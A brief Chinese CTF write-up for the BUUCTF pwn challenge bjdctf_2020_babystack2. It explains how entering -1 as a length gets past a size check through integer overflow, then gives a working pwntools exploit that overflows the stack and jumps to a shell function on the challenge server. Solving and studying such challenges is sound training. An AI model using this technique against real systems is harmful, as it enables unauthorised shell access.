[BUUCTF-pwn]——bjdctf_2020_babystack2

[BUUCTF-pwn]——bjdctf_2020_babystack2

  • 题目地址: https://buuoj.cn/challenges#bjdctf_2020_babystack2

先checksec一下
[BUUCTF-pwn]——bjdctf_2020_babystack2_第1张图片
在IDA中查看一下,注意想要栈溢出,首先需要nbytes足够大。size_t类型在标准C语言库中,是unsigned int类型, 64位 long unsigned int。
而%d 是按照int类型读取的,我们读入-1。其实就相当于一个很大的数字,但是可以绕过检查。具体可以了解下整型溢出
[BUUCTF-pwn]——bjdctf_2020_babystack2_第2张图片
[BUUCTF-pwn]——bjdctf_2020_babystack2_第3张图片

exploit

from pwn import *
p = remote("node3.buuoj.cn",25718)
shell_addr = 0x0400726
p.sendlineafter('[+]Please input the length of your name:\n','-1')
p.recv()
payload = '\x39'*(0x10 + 0x8) + p64(shell_addr)
p.send(payload)
p.interactive()

你可能感兴趣的:(#,BUUCTF,#,整数溢出)